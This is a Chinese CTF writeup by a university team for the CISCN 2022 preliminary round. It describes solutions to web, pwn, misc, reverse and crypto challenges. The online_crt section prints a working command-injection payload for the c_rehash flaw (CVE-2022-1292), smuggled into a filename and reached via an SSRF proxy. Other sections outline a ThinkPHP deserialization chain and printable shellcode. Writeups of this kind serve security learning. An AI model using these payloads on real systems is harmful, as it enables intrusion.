CISCN 2022 初赛 Writeup
战队:武汉大学 H0o
排名: 102
解题情况:
解题过程
签到电台
查标准密码表,做模十加法,2020336184802628376067505180
,修改url直接提交 http get
请求
flag{023818b0-4b1f-4031-8733-8a2dca00ad8b}
Ezpop
访问/www.zip
得到网站后端源码,在源码app/controller/Index.php中发现反序列化点
构造thinkphp v6.0.12
的反序列化pop
链
exp
如下
1 |
|
然后在/index.php/Index/test
中使用POST
参数a
实现反序列化得到flag
基于挑战码的双向认证123
flag1 = flag{bf33b842-d98d-4a0e-9d18-369596508cac}
flag2 = flag{34f5fdaf-c373-47fd-afab-01ed2914c11a}
flag3 = flag{7b352ef0-1bb1-41af-a7d7-b74f62ff23f0}
参考服务端代码进行程序填空,填入如下代码中 add your code here!
处
1 | int proc_login_response(void * sub_proc,void * recv_msg) |
ez_usb
先看 descriptor response
,发现有两个键盘(Apple和Logitech)连上了,设备号是 2.8
和 2.10
。
先用tshark将hid的 data
导出:
1 | tshark -r ez_usb.pcapng -Y "usb.src == \"2.8.1\"" -T fields -e usbhid.data > usb.txt |
分别使用脚本截取两个键盘的输入:
1 | normalKeys = { |
发现一个输入经过hex解码后有rar文件头,打开发现有flag,但rar有密码,另外一个输入就是rar的密码。
flag{20de17cc-d2c1-4b61-bebd-41159ed7172d}
login-nomal
主函数循环读入数据并交给work
执行
在work
中对输入的数据进行检查,存在两种指令:
opt:{1,2,3}
命令msg:xxx
数据
总共有三个命令:都要求msg
为可见字符
在一次work
工作中,至多出现一次opt
,并且work
将循环处理至多5
条指令(不符合指令格式的将报error
)。
所以,为了方便,在主循环中,我们一次work
只处理一条指令
op1
相当于一个开启函数,将flag1
和flag2
设置为1
(op2
和op3
需要使用)
op3
则不需要关注,其相当于还原状态
可以让我们getshell
的是op2
,在op2
中mmap
了一个新的页,然后把msg
复制到对应内存区域中并执行
现在考虑生成纯可见字符的shellcode
这里使用了工具 AE64 辅助转换shellcode
1 | from ae64 import AE64 |
然后组装最后的输入指令
1 | opt:1 |
需要注意的是,按照上文所说,我们的一组work
即,一个opt
和msg
的组合需要凑满0x3FF
字符,在work
中,会自动删除:
后面的空格,所以在msg:
后面补充padding
,同时需要注意的是,在:
后面部分截断存在问题,会吞掉最后一个字符替换为\0
,所以需要多补充一个空格占位
baby_tree
flag{30831242-56db-45b4-96fd-1f47e60da99d}
阅读 AST,得到以下核心代码
1 | b = [ord(x) for x in "flag{30831242-56db-45b4-96fd-1f47e60da99d}"] |
将其操作反向,得到
1 | b = [88, 35, 88, 225, 7, 201, 57, 94, 77, 56, 75, 168, 72, 218, 64, |
ISO9798
首先写个PoW
1 | from hashlib import sha256 |
题目没有给出具体的算法,但加密算法输入了3个 128bit
的明文,输出了 128*3bit
的密文,猜测是逐字节或逐 128bit
的加密方法,将输出的密文的rA
和rB
部分倒一下即可;
1 | [Server]: Please send a 128-bit random number in hex. |
online_crt
阅读后端源码发现存在c_rehash
命令调用1
2
3
4
def info():
json_data = {"info": os.popen("c_rehash static/crt/ && ls static/crt/").read()}
return json.dumps(json_data)
查找发现CVE-2022-1292
与c_rehash
相关,其中c_rehash
中执行openssl
的语句存在命令注入漏洞,变量$fname
可被注入命令
/createlink
中执行的c_rehash static/crt/ && ls static/crt/
是固定的,无法被注入,因此考虑修改目录static/crt/
下的文件名,调用c_rehash
命令时文件名就是变量$fname
,从而实现命令注入
/proxy
可以发送GET
请求包访问服务器的8887
端口
1 |
|
8887
端口是gin
搭建的web服务,其中/admin/rename
能够修改/app/static/crt/
目录中的文件名
1 | package main |
构造payload如下,其中空格用$IFS$9
替代,/
字符用base64编码实现,该payload将cat /flag
的执行结果写入static/crt/4.crt
文件中
1 | /admin%2frename?oldname=7782ae9f-1ce5-4d9e-bf65-e7f389d5f484.crt&newname=1"||echo$IFS$9Y2F0IC9mbGFn|base64$IFS$9-d|sh>4.crt" HTTP/1.1 |
将payload经过url编码后,构造发送给/proxy
的请求包,实现static/crt
目录下7782ae9f-1ce5-4d9e-bf65-e7f389d5f484.crt
文件名的更改
再访问/createlink
执行c_rehash
命令,得到static/crt/4.crt
文件
下载static/crt/4.crt
文件得到flag